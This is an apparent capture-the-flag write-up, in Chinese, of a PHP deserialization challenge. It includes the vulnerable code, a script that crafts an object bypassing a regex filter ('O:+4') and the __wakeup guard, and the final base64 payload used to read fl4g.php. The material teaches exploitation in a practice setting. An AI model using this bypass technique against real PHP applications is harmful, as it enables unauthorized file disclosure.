web攻防世界Web_php_unserialize

 代码审计

<?php 
//创建类Demo
class Demo { 
    //声明私有属性file
    private $file = 'index.php';
    //接收变量并赋给私有属性file
    public function __construct($file) { 
        $this->file = $file; 
    }
    //高亮显示私有属性file并输出
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    //魔法函数wakeup,使私有属性file一定是index.php
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
//var存在且不为NULL
if (isset($_GET['var'])) { 
    //对var进行base64解码
    $var = base64_decode($_GET['var']); 
    //使用preg_match函数对var过滤(var不能是"o/c:[数字]:" 例如:"o:1:")
    //如果能绕过,它会将var反序列化
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

将类Demo复制下来备用

接下来的操作:

1.实例化Demo

2.序列化

4.改下序列化后的结果,绕过俩函数

3.base64编码

<?php 
//复制的上面的类
class Demo { 
	private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
        	$this->file = 'index.php'; 
        } 
    } 
}
    //实例化
	$A=new Demo('fl4g.php');
    //序列化
	$C=serialize($A);
    //输出看一下
	var_dump($C);
    //把4改为+4绕过preg_match函数
	$C=str_replace('O:4','O:+4',$C);
    //把1改为大于1的整数绕过wakeup函数
	$C=str_replace('1','2',$C);
    //输出看一下改之后的变量$C
	var_dump($C);
    //输出base64编码后的变量$C
	var_dump(base64_encode($C));
    
    
?>

 最后get传参var,它的值就是最后得到的baes64编码

 ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值